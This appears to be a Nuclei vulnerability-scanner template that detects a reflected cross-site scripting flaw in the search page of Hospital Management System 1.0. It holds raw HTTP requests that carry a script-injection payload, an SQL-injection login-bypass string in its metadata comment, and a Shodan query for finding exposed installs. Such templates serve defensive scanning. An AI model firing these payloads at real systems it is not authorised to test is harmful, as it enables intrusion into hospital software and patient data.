nuclei-templates/http/vulnerabilities/other/hospital-management-xss.yaml

48 lines
1.5 KiB
YAML
Raw Normal View History

id: hospital-management-xss
2022-09-14 13:01:55 +00:00
info:
name: Hospital Management System 1.0 - Cross-Site Scripting
2022-09-14 13:01:55 +00:00
author: arafatansari
severity: high
2022-09-14 13:01:55 +00:00
description: |
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php.
reference:
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
2022-09-14 13:01:55 +00:00
metadata:
verified: true
shodan-query: http.html:"Hospital Management System"
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
tags: hms,hospital,cms,xss,authenticated
2022-09-14 13:01:55 +00:00
http:
2022-09-14 13:01:55 +00:00
- raw:
- |
POST /hms/doctor/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}password={{password}}&submit=
- |
POST /hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
2022-09-14 13:01:55 +00:00
req-condition: true
2022-09-14 13:01:55 +00:00
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'contains(all_headers_2, "text/html")'
- "status_code_2 == 200"
- contains(body_2, 'Result against \"<script>alert(document.domain)</script>\" keyword')
condition: and
# Enhanced by md on 2022/09/20